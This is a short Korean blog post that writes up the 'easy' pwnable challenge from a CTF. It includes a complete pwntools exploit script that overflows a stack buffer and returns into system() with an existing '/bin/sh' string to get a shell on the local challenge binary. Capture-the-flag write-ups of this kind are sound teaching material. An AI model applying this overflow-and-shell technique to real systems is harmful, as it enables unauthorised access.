write-ups/CTF

Trustealth CTF easy write up

2018. 1. 8. 09:21

오늘은 학교에 와서 오랜만에 st34lth.com에 접속하여 예전 trusthealth ctf 의 포너블 문제를 풀었다. easy 문제는 이름과 다르게 쉬운 편이 아니었다. 엄청 쉬운 편이었다. 



easy



binary 분석


main 함수는 vuln() 이라는 함수를 호출하고 종료한다. vuln() 함수에는 다음과 같은 코드가 있다. 



read() 함수로 buf에 값을 받는다. system("\n") 를 하고 종료한다. 


read()로 bss 영역에 "/bin/sh\x00" 을 집어넣고 system(bss) 를 하면 될 줄 알았지만, 사실 read로 130 바이트밖에 안받고 더 개쩌는 거시,,



/bin/sh 가 이미 존재한다. 


Exploit 


#!/usr/bin/python
# coding: utf-8

from pwn import *

p = process("./easy")
# context.log_level = "debug"

"""
0x080484da : pop edi ; pop ebp ; ret
0x080484d9 : pop esi ; pop edi ; pop ebp ; ret
"""
ppr = 0x080484da
pppr = 0x080484d9
bss = 0x0804a029
binsh = 0x0804A020

read_plt = 0x08048300
read_got = 0x0804a00c
system_plt = 0x08048310
system_got = 0x0804a010

payload = "A" * 108
payload += "BBBB"

payload += p32(system_plt)
payload += "AAAA"
payload += p32(binsh)

p.send(payload)

p.interactive()


그리고 쉘을 딴다. 




'write-ups > CTF' 카테고리의 다른 글

codegate 2018 write up  (0) 2018.02.07
Codegate 2018 본선 진출했습니다  (0) 2018.02.04
christmas CTF PICTUBE Write up  (0) 2017.12.27
2017 ROOT CTF write up  (0) 2017.12.26
mma ctf 2nd 2016 greeting write up  (0) 2017.12.19